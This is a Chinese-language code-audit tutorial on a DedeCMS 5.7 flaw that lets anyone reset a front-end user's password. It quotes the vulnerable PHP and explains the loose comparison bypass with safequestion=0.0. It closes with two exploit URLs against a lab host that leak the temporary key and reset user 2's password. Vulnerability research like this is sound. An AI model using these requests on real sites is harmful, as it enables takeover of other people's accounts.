dedecms 5.7 任意前臺使用者修改漏洞
一、 啟動環境
1.雙擊執行桌面phpstudy.exe軟體
2.點選啟動按鈕,啟動伺服器環境
二、程式碼審計
1.雙擊啟動桌面Seay原始碼審計系統軟體
2.點選新建專案按鈕,彈出對畫框中選擇(C:\phpStudy\WWW\ dedecms v57),點選確定
漏洞分析
1.進入member/resetpassword.php頁面,將滑鼠滾動到頁面第75行
else if($dopost == "safequestion") { $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("對不起,您的安全問題或答案回答錯誤","-1"); exit(); } }
程式首先接收id引數,並用正則將非數字過濾成空,然後利用id的引數拼接成SQL語句進行資料庫查詢。 然後獲取safequestion和safeanswer兩個引數,如果為空直接將引數置為空。
然後將資料庫查詢的結果與問題和答案進行對比,如果成功則進入修改修改密碼過程,問題關鍵也就在於此
2.判斷使用的雙等號進行判斷,雙等號判斷的時候並不會檢測型別 ```
var_dump("0"=='0');
3.如果使用者在註冊使用者的時候並沒有設定問題和答案,程式會自動把問題設定成0,答案為空,這就出現漏洞利用,如果傳輸safequestion=0.0&safeanswer=則可以直接繞過if檢測進入密碼修改部分。讀者現在可能有個問題,為什麼需要傳0.0,為什麼不傳輸0,如果傳輸0的話那不就變成”0”==”0”直接繞過了,但是你需要考慮一個問題,safequestion需要過empty檢測,當empty檢測傳輸過來的值是“0”,直接返回true,if判斷捕捉到為真,會直接將$safequestion = ‘’,而“0”==“”結果為false,則無法繞過判斷。 當驗證成功會進入到sn函式
4.sn函式在member/inc/inc_pwd_functions.php
function sn($mid,$userid,$mailto, $send = 'Y') { global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //傳送新郵件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分鐘後可以再次傳送新驗證碼; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新發送新的驗證碼確認郵件; else { return ShowMsg('對不起,請10分鐘後再重新申請', 'login.php'); } }
5.程式首先利用函式傳輸過來的mid拼接上SQL語句進入#@__pwd_tmp庫檢測,這個預設就是就為空,查詢以後會進入elseif()判斷過程,再次進入newmail()函式,函式就此檔案中
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密碼修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "親愛的".$userid.":\r\n您好!感謝您使用".$cfg_webname."網。\r\n".$cfg_webname."應您的要求,重新設定密碼:(注:如果您沒有提出申請,請檢查您的資訊是否洩漏。)\r\n本次臨時登陸密碼為:".$randval." 請於三天內登陸下面網址確認修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改驗證碼已經發送到原來的郵箱請查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍後跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('對不起修改失敗,請聯絡管理員', 'login.php');
}
}
6.程式碼利用random()生成隨機數,然後進入到type==’UPDATE’
elseif($type == 'UPDATE')
{
$key = md5($randval);
$sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
ShowMsg('EMAIL修改驗證碼已經發送到原來的郵箱請查收', 'login.php');
}
elseif($send == 'N')
{
return ShowMsg('稍後跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
ShowMsg('對不起修改失敗,請與管理員聯絡', 'login.php');
}
}
然後將ranval隨機值進行md5加密,並更新到dede__pwd_tmp表中。
7.更新完以後流程會進入到send == ‘N’過程,這部有個關鍵問題,會把臨時密碼給洩露出來
return ShowMsg('稍後跳轉到修改頁', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
如果感覺這個key沒什麼不用請不用著急,馬上進入到getpasswd過程
8.在member/resetpassword.php檔案獲取密碼部分
else if($dopost == "getpasswd")
{
//修改密碼
if(empty($id))
{
ShowMsg("對不起,請不要非法提交","login.php");
exit();
}
$mid = preg_replace("#[^0-9]#", "", $id);
$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
if(empty($row))
{
ShowMsg("對不起,請不要非法提交","login.php");
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("對不起,臨時密碼修改期限已過期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
這部分有個關鍵過程,資料庫查詢是從__pwd_tmp表中進行查詢。首先程式進行載入模板,讓使用者填寫密碼,填寫完密碼以後會進入到setp==2密碼過程中
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密碼成功,請牢記新密碼', 'login.php');
exit;
}
}
}
showmsg('對不起,新密碼為空或填寫不一致', '-1');
exit;
}
showmsg('對不起,臨時密碼錯誤', '-1');
exit;
}
這部分會比對使用者傳輸的臨時key和資料庫儲存的pwd是否一致,如果一致則會成功修改密碼。
漏洞利用
1.首先訪問
http://192.168.91.136/DedeCMS_v5.7/member/resetpassword.php?id=2&safequestion=0.0&safeanswer=&dopost=safequestion
這步會拿到臨時key
2.然後再訪問
http://192.168.91.136/DedeCMS_v5.7/member/resetpassword.php?dopost=getpasswd&id=2&key=txWda69e
成功進入重置密碼過程。